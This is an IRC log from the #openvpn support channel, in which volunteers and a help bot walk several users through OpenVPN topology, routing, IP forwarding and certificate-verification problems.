08:52 < Dark_Apostrophe> Oh, right.. .yeah, I asked if i needed to specify it
08:52 < havoc> you needed to replace the [topology] w/ a valid option for one
08:52 < havoc> yeah, I missed that
08:52 < havoc> anyway, tomorrow
08:52 < Dark_Apostrophe> Thing is, I don't exactly know what the closest approximation of this place's topology is
08:52 < havoc> it's a choice
08:54 < havoc> and it's the topology of the vpn segment that you're specifying
08:54 < havoc> you've got some reading to do overnight :)
08:55 < Dark_Apostrophe> I'll connect here when I get home, if you point me to some resources to read, I'll gladly do so
08:55 < Dark_Apostrophe> Bye :)
08:55 -!- Dark_Apostrophe [~Dark_Apos@unaffiliated/darkapostrophe/x-0983214] has quit [Quit: Leaving]
08:59 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
09:01 -!- caelian [~caelian@ovh.caelian.net] has quit [Quit: WeeChat 0.4.1]
09:03 -!- caelian [~caelian@ovh.caelian.net] has joined #openvpn
09:04 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
09:07 -!- caelian [~caelian@ovh.caelian.net] has quit [Client Quit]
09:07 -!- caelian [~caelian@ovh.caelian.net] has joined #openvpn
09:08 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Max SendQ exceeded]
09:08 -!- caelian [~caelian@ovh.caelian.net] has quit [Client Quit]
09:09 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
09:12 -!- caelian [~caelian@ovh.caelian.net] has joined #openvpn
09:14 -!- caelian [~caelian@ovh.caelian.net] has quit [Client Quit]
09:16 -!- caelian [~caelian@ovh.caelian.net] has joined #openvpn
09:17 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
09:25 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
09:29 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 276 seconds]
09:41 -!- surfmasta [~surfmasta@80.92.88.10] has joined #openvpn
09:41 < surfmasta> hi, is there an option for openvpn clients where i can say that a specific port should be routed through another interface?
09:41 < surfmasta> instead of using iptables or something
09:52 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:59 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
10:00 -!- aero224 [~Adium@dsl-vlan426-66-18-218-182.nucleus.com] has joined #openvpn
10:01 < aero224> !welcome
10:01 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
10:01 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:01 < aero224> !goal
10:01 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
10:02 < aero224> I would like to get Windows 7 connecting to my OpenVPN server in the simplest way possible.
10:02 < aero224> I presently have a connected tunnel, but I can't push any traffic through it
10:02 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
10:02 -!- mode/#openvpn [+o dazo_afk] by ChanServ
10:03 -!- dazo_afk is now known as dazo
10:05 < aero224> !paste
10:05 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
10:08 < aero224> I can't even ping the remote endpoint.
10:10 < aero224> Something weird though:  I'm noticing, on the windows end, the subnet mask is 255.255.255.252 (while on the OpenBSD end (server) the netmask is 255.255.255.0).
10:12 < aero224> On the server, I'm using:  openvpn —dev tun10 —proto udp —port 1195 —ifconfig 10.200.0.5 10.200.0.6 —secret /etc/openvpn/secret.key 0
10:13 < aero224> On the client (windows), I'm using openvpn —dev tun —port 1195 ifconfig 10.200.0.6 10.200.0.5 —secret secret.key —remote servername_here —verb 3
10:18 < aero224> I take back my comment about the netmasks - client side (windows) is showing 2255.255.255.252.  Server-side (OpenBSD) is showing 255.255.255.255.
10:18 < aero224> Anyone in here?
10:22 -!- raidz_away is now known as raidz
10:23 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:23 < rob0> !/30
10:23 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
10:24 < rob0> oh, uh, this is not a server/client at all, this is a peer-to-peer
10:25 < aero224> Yeah.  Im just trying to get *anything* working on windows, and then I'll make it better.
10:25 < aero224> I've gone back to chapter 1 in the "OpenVPN 2 Cookbook"
10:26 < rob0> Generally peer mode is very easy. As long as each side has the same options set and reversed IP in -ifconfig
10:26 < rob0> --ifconfig, all should be well.
10:28 < rob0> But I never tried that on Windows. I don't have a Windows system anyway.
10:29 < aero224> Throw Git on any given windows box, and you have a decent set of unix tools avail under gitbash/mingw32
10:29 < aero224> ssh and openvpn are actually included inline, which is nice
10:30 -!- muh-die-kuh [~hco@bronx.lab9.de] has joined #openvpn
10:30 < muh-die-kuh> Hi, i receive multiple (as in: a couple of thounds) "Destination Host Unreachable" for the same icmq_seq on a openvpn connection. Any hints on what to look for?
10:36 < aero224> rob0: Just changed it to "proto: tcp-server" and "proto: tcp-client".  I can now ping both endpoints from windows
10:37 < aero224> Still can't ping the LAN on the server side though :/
10:39 < rob0> Hmm, why TCP? That only makes sense if you have a braindead firewall in between, and you don't control said firewall.
10:39 -!- Rumbles [~Rumbles@host81-136-139-194.in-addr.btopenworld.com] has quit [Remote host closed the connection]
10:39 < rob0> Routing has to be bidirectional. Each side has to know how to reach the other.
10:46 <+pekster> rob0: Fun fact: you don't need to "mirror" the IPs on either end of a PtP as each side as its own notion of 'local' vs 'remote'
10:48 < aero224> rob0: I banished all the brain dead firewalls a while ago
10:48 < aero224> rob0: Thanks for the brain poke regarding routing.  I hadn't specified routing on either end.
10:49 -!- goose [~they.call@my.name.is.captain-kickass.net] has joined #openvpn
10:49 < aero224> rob0: I added "route 192.168.2.0 255.255.255.0" on the windows side (and left no route on the server side), and it now seems to be working
10:50 < goose> I've run into an issue with my OpenVPN; my windows desktop client which used to work fine no longer seems to connect to my VPN; however, my mobile device (Android) still connect fine
10:52 < goose> Not sure if it's helpful or not, but here's some level 5 debug of my connection attempt: https://captain-kickass.net/p/98
10:52 <@vpnHelper> Title: goose's pastebin (at captain-kickass.net)
10:54 <+pekster> goose: Line 287 there is a general connectivity error, so the server is probably outright ignoring the client, possibly due to bad certificates
10:54 <+pekster> Check your server logs
10:55 < aero224> rob0: Blarg.  Spoke to soon.  Pings work.  Ssh sessions do not.  Even with routes added to each end.
10:56 < goose> can I paste two lines? I think they're the relevant two
10:57 <+pekster> Sure; the "3 line" thing is a general guideline, but basically it boils down to not flooding. Configs are also easier to read on pastebins, as is anything over a couple
10:58 <+pekster> (IRC line wraps also make much in-channel reading difficult)
10:58 < goose> it's ok, I ended up pastebin'ing the whole thing from /var/log/syslog
10:59 < goose> https://captain-kickass.net/p/99
10:59 <@vpnHelper> Title: goose's pastebin (at captain-kickass.net)
11:00 <+pekster> It can't look up the issuing cert (the signing CA) for whatever "CN=crucio" is
11:01 < goose> ah. "crucio" is just the name I use for my desktop computer. should I use a FQDN? (I don't have one setup for my home desktop use, but I can set one up if I need to)
11:02 <+pekster> No, it's just a name; the important part here is that your server can't link it to your provided ca.crt on the server-side
11:02 <+pekster> Did the same CA sign your client cert as the server has a copy of the ca.crt?
11:03 < goose> yes
11:03 < goose> I generated all the certs at the same time. The ones for my phone work fine, it's just these windows ones that don't. I can reboot into nix and test that, though.
11:04 <+pekster> Client OS won't matter; the cert failure is the critical part
11:05 < goose> ah, alright. should I generate new certs for this client, then?
11:05 <+pekster> It looks like that's the issue, but if you wanted you could test that by sending the client's cert (the one the config file is actively referencing) and verify the cert against the CA the server instance is using
11:06 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
11:06 <+pekster> `openssl verify -CAfile /your/server/ca.crt /your/client.crt`
11:06 <+pekster> (tack on a -verbose if you want openssl to spew lots of text at you too)
11:08 < goose> alright. I'll do that. One moment.
11:08 < goose> And thank you for the help
11:09 < goose> I appreciate it :)
11:12 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
11:16 < goose> error 20 at 0 depth lookup:unable to get local issuer certificate
11:16 < goose> so I assume that's bad
11:17 <+pekster> Looks like the client cert wasn't signed by the CA you used when verifying
11:17 <+pekster> You can check the "issuer fingerpritn" in the client cert itself
11:17 < goose> perhaps this is an old cert maybe. I should still have this client's on my remote server.
11:17 < goose> let me pull that and try using it instead.
11:17 <+pekster> it _should_ match the fingerprint on the CA cert, but it doesn't
11:17 <+pekster> (that's how you can tell without transferring the files, but it's a little more complex to figure that out)
11:18 <+pekster> If you want to "see" the cert fields on any certificate, you can do `openssl x509 -in some.crt -noout -text` and you'll get human-readable printouts
11:18 <+pekster> Leave off -noout and it'll be usable as a machine-form cert too (like by openvpn)
11:19 <+pekster> But yea, your client needs a cert signed by the same issuing CA your server is verifying against
11:20 < goose> you're the man pekster
11:20 < goose> I guess that certificate I was using came from an old/different box somehow
11:20 < goose> pulled my crucio.crt from the remote server's easy-rsa dir, and now it's working again
11:20 < goose> I truely appreciate your help. thank you.
11:21 <+pekster> Sure
11:21 < aero224> rob0: thanks for your help.  I've reverted back to udp, and everything is working.  The root cause of the problems was that I forgot to update pf.conf.  PEBKAC
11:21 -!- goose [~they.call@my.name.is.captain-kickass.net] has left #openvpn ["The problem with eating and driving, which I love to do, is not being able to have my hands on the wheel at the 10 and 2 position. It's a matter of public safety."]
11:21 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
11:23 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
11:23 < rob0> aero224, /topic :)
11:23 -!- pfoo_ [~pfoo@117-a7-s0.oni.unscdf.eu] has quit []
11:23 -!- pfoo [~pfoo@117-a7-s0.oni.unscdf.eu] has joined #openvpn
11:23 -!- pfoo [~pfoo@117-a7-s0.oni.unscdf.eu] has quit [Changing host]
11:23 -!- pfoo [~pfoo@unaffiliated/pfoo] has joined #openvpn
11:24 -!- Dark_Apostrophe [~Dark_Apos@unaffiliated/darkapostrophe/x-0983214] has joined #openvpn
11:24 < Dark_Apostrophe> havoc: Hey, are you still around? :)
11:24 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
11:25 < havoc> Dark_Apostrophe: kindof, on more conf calls :(
11:25 < havoc> so basically have no time, atm
11:25 < Dark_Apostrophe> You wouldn't, by any chance, happen to be a 3CX consultant?
11:25 < Dark_Apostrophe> Judging by the number of conference calls :P
11:27 < Dark_Apostrophe> Well, I'm in no hurry - I was just thinking of reading up on VPN topology (and, to whatever degree, it's different from regular, LAN topology)
11:30 <+pekster> Dark_Apostrophe, from a strictly routing perspective, a VPN is "just another interface"
11:31 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Quit: ZNC - http://znc.in]
11:31 < aero224> topic
11:32 < aero224> rob0: lol
11:32 < Dark_Apostrophe> pekster: Yeah, but I was setting up a VPN server earlier, and had to define a VPN topology
11:32 < havoc> Dark_Apostrophe: no, just top guy in a *poorly* run company :(
11:32  * aero224 hangs head in shame
11:32 <+pekster> Oh,
11:32 <+pekster> !topology
11:32 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
11:32 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Read error: Connection reset by peer]
11:32 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
11:32 < Dark_Apostrophe> That sounds exactly like what I need
11:32 < rob0> aero224, you're not the first, and won't be the last, to fall afoul of a firewall. :)
11:32 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
11:32 < Dark_Apostrophe> the client getting an IP within the server's LAN
11:33 <+pekster> Don't bridge unless you need L2 transport
11:33 < caelian> can I ask you guys for a hilight? I am configuring weechat and Idk if collors are set properly ;D
11:34 < Dark_Apostrophe> pekster: Me? I have no need for pure ethernet bridging
11:34 < Dark_Apostrophe> I just need to be able to talk to servers within the LAN
11:34 <+pekster> Then don't "get an IP within the server's LAN"
11:34 <+pekster> See !serverlan
11:34 < Dark_Apostrophe> !serverlan
11:34 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
11:34 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
11:34 -!- crane_ [~crane@static-87-79-93-178.netcologne.de] has quit [Quit: Verlassend]
11:35 < Dark_Apostrophe> pekster: Seems pretty useful, thanks!
11:35 <+pekster> Dark_Apostrophe: Use a unique network for your VPN and route to the LAN behind a VPN peer. The only "valid" reason to bridge is when you need to transport a non-unicast-IP protocol over the link, like multicast or broadcast traffic
11:35 < rob0> caelian, no, you may not. ;)
11:36 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Quit: No Ping reply in 180 seconds.]
11:36 < Dark_Apostrophe> pekster: I never intended to bridge (I set it up as tun)
11:36 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
11:36 <+pekster> Yea, then it has to have a unique network range
11:36 < Dark_Apostrophe> Just... couldn't make it work, on the server side. Haven't even gotten to the client bit yet.
11:37 <+pekster> The official !howto uses the 10.8.0.0/24 network, but you can use any valid non-overlapping network you want
11:38 < rob0> except for mine! I have staked a claim in 1918land.
11:38 <@krzee> ya me too
11:39 <@krzee> 10.4.20/24 is mine!
11:39 < Dark_Apostrophe> pekster: Could you please explain how I would set up the server? Basically, it's a Windows box on a fixed IP. It's running some other stuff as well, so its IP isn't subject to change.
11:39 <+pekster> The !howto does this nicely; did you have a specific problem/question?
11:39 < Dark_Apostrophe> What happened so far is whenever I tried to fire up OpenVPN, the Tap-Win32 interface would set itself to 10.1.1.1 (the gateway's IP), and the server would drop off the network
11:39 < Dark_Apostrophe> the server has 10.1.1.22
11:40 <+pekster> Use a unique network, as I said
11:40 <+pekster> What's wrong with 10.8.0.0/24 the examples use?
11:40 < Dark_Apostrophe> Nothing, I'm just new to all of this - so I was guessing my way through a lot of the stuff I needed to enter in the config
11:40 <@krzee> Dark_Apostrophe, you do NOT use your lan ip for --server
11:41 <@krzee> you use a new subnet that is only for the vpn
11:41 < Dark_Apostrophe> Oh
11:41 < Dark_Apostrophe> Well, that explains a lot
11:41 <@krzee> thats what pekster was saying here:  <pekster> The official !howto uses the 10.8.0.0/24 network, but you can use any valid non-overlapping network you want
11:41 <@krzee> non-overlapping =]
11:42 < Dark_Apostrophe> Alright :)
11:43 < Dark_Apostrophe> This reminds me of many years ago when I first tried Linux. No matter how many manuals I read, I still screwed everything up, until I got a feel for how it all fits together :P
11:43 < Dark_Apostrophe> (At one point, I think I was using Fedora Core 2, I managed to uninstall glibc. You can imagine the fun that resulted in.)
11:43 -!- JAVACODER [~JAVACODER@2.190.32.40] has joined #openvpn
11:43 <@krzee> i remember going through $PATH looking at command names to read their manuals
11:43 <@krzee> back in freebsd 3
11:45 < Dark_Apostrophe> I added the expansion from the documentation under the server heading, trying to fix the problems that appeared earlier on
11:45 < Dark_Apostrophe> Should I just comment that out, and go with "server 10.8.0.0 255.255.255.0"?
11:45 <@krzee> remove it and yes
11:47 < Dark_Apostrophe> !ipforward
11:47 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
11:48 < Dark_Apostrophe> !winipforward
11:48 <@vpnHelper> "winipforward" is http://support.microsoft.com/kb/315236 to enable ip forwarding on windows
11:50 < Dark_Apostrophe> Well, that was simple enough
11:50 < Dark_Apostrophe> Hmm, now to configure pushing a route
11:50 < Dark_Apostrophe> Was there a bot command for that?
11:51 <+pekster> There's general info in !route and more specific info to exposing server or client-side LANs in !serverlan and !clientlan
11:52 < Dark_Apostrophe> !serverlan
11:52 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
11:52 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
11:52 < Dark_Apostrophe> pekster: So, push "route 10.1.1.1 255.255.255.0" ?
11:53 <+pekster> The network would be 10.1.1.0 in that case
11:54 < Dark_Apostrophe> It is
11:54 < Dark_Apostrophe> Oh, I see
11:54 <+pekster> IIRC, --route complains if you use a non-"network-ID" address. Even if some OSes accept it, it's bad form
11:55 < Dark_Apostrophe> Well, theoretically, the server should be all set
11:55 < Dark_Apostrophe> But I don't think I'll tinker with it any more, as I'm not on site. Should anything go wrong, I need to be able to get the server in shape immediately.
11:57 < Dark_Apostrophe> !clientlan
11:57 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see
11:57 <@vpnHelper> !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
11:57 < Dark_Apostrophe> Oh, I might not need that
11:57 < Dark_Apostrophe> I only need the client itself - nothing it's connected to - to be able to talk to the LAN
11:58 < Dark_Apostrophe> pekster: This isn't necessary for the client to be able to talk to stuff within the LAN, right?
11:59 <+pekster> Right; they're separate concepts, but you can do both (when you are joining LANs behind *both* server and client)
11:59 < Dark_Apostrophe> I see. In that case, which is server and which is client is pretty close to arbitrary, right?
12:00 < Dark_Apostrophe> If you were chaining together two separate LANs, with separate IP ranges?
12:00 <@krzee> its based on the config used
12:00 < Dark_Apostrophe> Not what I'm doing here, but just curious
12:05 -!- julius_ [~14354s@141.41.92.122] has quit [Ping timeout: 245 seconds]
12:44 -!- dimitry7 [~antonello@187.174.147.162] has joined #openvpn
12:44 < dimitry7> I cannot have communication with some of my servers
12:44 < dimitry7> and it gives this error: KILL  8748, /usr/local/sbin/ciped-cb -o /etc/cipe/peers/mexico
12:44 < dimitry7> in /var/log/vpn.log
12:58 <+pekster> That's not an openvpn message
13:00 -!- crus [~crusader@crus0r.soho.on.net] has quit [Ping timeout: 240 seconds]
13:06 -!- crus [~crusader@crus0r.soho.on.net] has joined #openvpn
13:30 < dimitry7> pekster, I have connectivity from the other offices
13:30 < dimitry7> but not to the main office
13:30 < dimitry7> in /var/log/messages
13:30 < dimitry7> it says: disabled privacy extensions
13:32 < dimitry7> pekster, how can I check if my certificates have expired?
13:34 <@krzee> !certinfo
13:34 <@vpnHelper> "certinfo" is run `openssl x509 -in <file> -noout -text` for info from your cert file
13:40 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Read error: Connection reset by peer]
13:41 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Remote host closed the connection]
13:42 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
13:43 <@ecrist> hey krzee 
13:43 <@ecrist> I'm not ignoring your email issue (it affects me too) just busy at work.
13:43 <@ecrist> playing with a new pair of Cisco ASA 5515-x
13:43 <@ecrist> pretty neat boxes
13:44 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
13:48 -!- Dark_Apostrophe [~Dark_Apos@unaffiliated/darkapostrophe/x-0983214] has quit [Quit: Ciao]
14:09 < dimitry7> /var/log/messages says disabled privacy extensions and the tun interfaces stated don't have VPN working on them
14:09 < dimitry7> I use IPv4
14:09 < dimitry7> it all worked fine yesterday, nobody moved the configuration
14:10 -!- p3rror [~mezgani@41.249.146.150] has joined #openvpn
14:10 < dimitry7> * changed the config
14:13 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-mdkaddlqjdezfbvf] has joined #openvpn
14:23 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
14:32 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Read error: Connection reset by peer]
14:34 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
14:36 -!- thalweg [~quassel@198.211.102.196] has quit [Read error: Operation timed out]
14:49 -!- JackWinter1 [~jack@vodsl-9812.vo.lu] has joined #openvpn
14:50 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Ping timeout: 240 seconds]
14:51 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
14:54 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Ping timeout: 264 seconds]
15:06 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
15:07 -!- JackWinter1 [~jack@vodsl-9812.vo.lu] has left #openvpn ["Konversation terminated!"]
15:12 -!- JAVACODER [~JAVACODER@2.190.32.40] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
15:38 -!- dimitry7 [~antonello@187.174.147.162] has quit [Ping timeout: 260 seconds]
15:40 -!- dimitry7 [~antonello@187.174.147.162] has joined #openvpn
15:45 -!- raidz is now known as raidz_away
15:45 -!- raidz_away is now known as raidz
15:46 -!- Denial [Denial@05417302.skybroadband.com] has quit []
15:47 -!- averagecase [~anon@dslb-088-078-145-172.pools.arcor-ip.net] has joined #openvpn
16:01 < Brando753> hey guys so I set the following server.conf http://pastebin.com/kauMPmbY and I can connect to it from my client to the server fine but am unable to to ping any servers local to that network or access any non-local servers
16:06 < caelian> iptables bro :-)
16:06 < caelian> !howto
16:06 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
16:07 < pwrcycle> Brando753: sounds like you need a POSTROUTING SNAT statement in iptables.
16:07 < rob0> Really? I would suggest the flowchart,
16:07 < rob0> !serverlan
16:07 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
16:07 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
16:11 < Brando753> well yea I prior set the iptable rules http://pastebin.com/3Z9EmXZC but someome in here told me to add 'push "route 192.168.1.0 255.255.255.0"' and then I would not need the iptable rules
16:13 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:13 < pwrcycle> i think "push route" is for the client side routing.
16:14 < pwrcycle> if you can connect to the vpn and get your vpn IP address on your client side tunnel, but can't reach any traffic outside the tunnel network, your problem is the route on the server, from your tun0 to your venet0
16:15 < pwrcycle> as the topic fortells " Your problem is probably firewall, Really "
16:15 < rob0> SNAT is for routing RFC 1918 networks to the Internet. DNAT is for directing Internet traffic to an RFC 1918 host.
16:16 < rob0> It could be a firewall indeed. That's one of the steps in the flowchart.
16:18 < Brando753> so if tun0 is setup on my server as 10.9.8.1 regardless of the firewall I should be able to ping 10.9.8.1 from a connected client right? because I cannot
16:19 < pwrcycle> Brando753: yes, you should be able to at least ping the router's IP.
16:19 < Brando753> the vpn servers or the routers?
16:20 < pwrcycle> Brando753: i said router, but ment server.
16:20 < Brando753> because the only thing I can ping is 10.9.8.10 which is the IP my computer was assigned >.>
16:20 < Brando753> so I may have a different issue
16:20 < pwrcycle> Brando753: assigning the IP in the config doesn't mean youv'e established a VPN connection.
16:21 < rob0> Did you decide not to look at the flowchart?
16:22 < Brando753> I was using networkmanager and it said VPN connection successfully established a connection :I
16:22 < Brando753> rob0: I did
16:22 < Brando753> thats why I was trying to ping the server
16:22 < rob0> okay\
16:22 < Brando753> and realized its probably a server.conf issue
16:23 < rob0> I guess you'll want to look at logs then.
16:26 -!- mezgani [~mezgani@41.249.90.179] has joined #openvpn
16:26 -!- p3rror [~mezgani@41.249.146.150] has quit [Ping timeout: 268 seconds]
16:29 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
16:33 -!- vertigo [bleach@i.like.irc.so] has quit [Ping timeout: 260 seconds]
16:33 -!- diffen3 [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has joined #openvpn
16:34 -!- diffen3 [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has quit [Client Quit]
16:34 -!- vertigo [bleach@i.like.irc.so] has joined #openvpn
16:34 -!- diffen3 [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has joined #openvpn
16:35 -!- diffen3 [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has quit [Client Quit]
16:37 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has joined #openvpn
16:37 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has left #openvpn []
16:46 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:51 -!- master_of_master [~master_of@p4FD7B23F.dip0.t-ipconnect.de] has joined #openvpn
16:55 -!- master_o1_master [~master_of@p4FF24B0C.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
17:14 < Brando753> Thanks guys I managed to figure it out :D
17:14 -!- goldkatze_ [~nobody@unaffiliated/goldkatze] has quit []
17:30 -!- averagecase [~anon@dslb-088-078-145-172.pools.arcor-ip.net] has quit [Quit: Verlassend]
17:31 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
17:33 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:38 -!- mezgani [~mezgani@41.249.90.179] has quit [Quit: Leaving]
17:59 -!- dimitry7 [~antonello@187.174.147.162] has quit [Ping timeout: 260 seconds]
18:01 -!- dimitry7 [~antonello@187.174.147.162] has joined #openvpn
18:04 -!- SupaYoshi [SupaYoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
18:04 < SupaYoshi> Hey Im having a short question about OpenVPN and the need for bridging yes or no.
18:05 < SupaYoshi> I have a OpenVPN server setup, and Ive read serveral guides, and the server works ;) *yay* however.. I want to access network shares, on my local network
18:05 < SupaYoshi> through the OpenVPN tunnel
18:05 < SupaYoshi> Now I read 2 things, I can make a bridge, or I can set a certain setting to 1. Let me look it up sorry
18:06 < SupaYoshi> echo 1 > /proc/sys/net/ipv4/ip_forward this is what I can also do according to some.
18:06 < SupaYoshi> However I am not quite sure which of these will work.
18:14 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:17 -!- paklife [~Alien@78-105-143-115.zone3.bethere.co.uk] has joined #openvpn
18:18 < paklife> hi  how many connections is allowed with openvpn free edition?
18:19 < rob0> the limit would be imposed by your hardware. There are no arbitrary software limits (although you could impose a limit if you wanted.)
18:20 < rob0> !wins
18:20 <@vpnHelper> "wins" is http://oreilly.com/catalog/samba/chapter/book/ch07_03.html is a good link for seeing how to run WINS on samba
18:20 < rob0> !bridge
18:20 <@vpnHelper> "bridge" is (#1) http://openvpn.net/index.php/documentation/miscellaneous/ethernet-bridging.html for the doc or (#2) http://openvpn.net/index.php/documentation/faq.html#bridge1 for info from the FAQ or (#3) also see !tunortap and !layer2 and read --server-bridge in the manual (!man) or (#4) also see !whybridge
18:20 < rob0> SupaYoshi, ^^
18:20 < SupaYoshi> Hai!
18:20 < SupaYoshi> Thank you!
18:21 < rob0> Very rarely does a site "need" to bridge.
18:21 < paklife> rob0: i wasnt refering to the community version but the virtual appliance that the site allows you to download
18:21 < rob0> I don't know what that is.
18:21 < rob0> !as
18:21 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
18:21 < paklife> ok
18:22 -!- paklife [~Alien@78-105-143-115.zone3.bethere.co.uk] has left #openvpn []
18:25 < SupaYoshi> rob0 im going to read it , but so far Im getting the idea that I do not need to bridge for accessing Samba shares etc.
18:25 < rob0> right, you do not
18:25 < SupaYoshi> ahh thanks ;)
18:26 -!- raidz is now known as raidz_away
18:26 < rob0> a WINS server for the Windows clients will help.
18:26 < SupaYoshi> the thing was just, even though I was connected to my VPN, i still couldn't access my local SAMBA shares by typing 192.168.2.x
18:26 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 245 seconds]
18:26 < SupaYoshi> into my explorer, or does this not work that wya? Do I need to use Hostnames?
18:26 -!- raidz_away is now known as raidz
18:27 < rob0> WINS in Samba is trivial. IIRC you simply have to enable it.
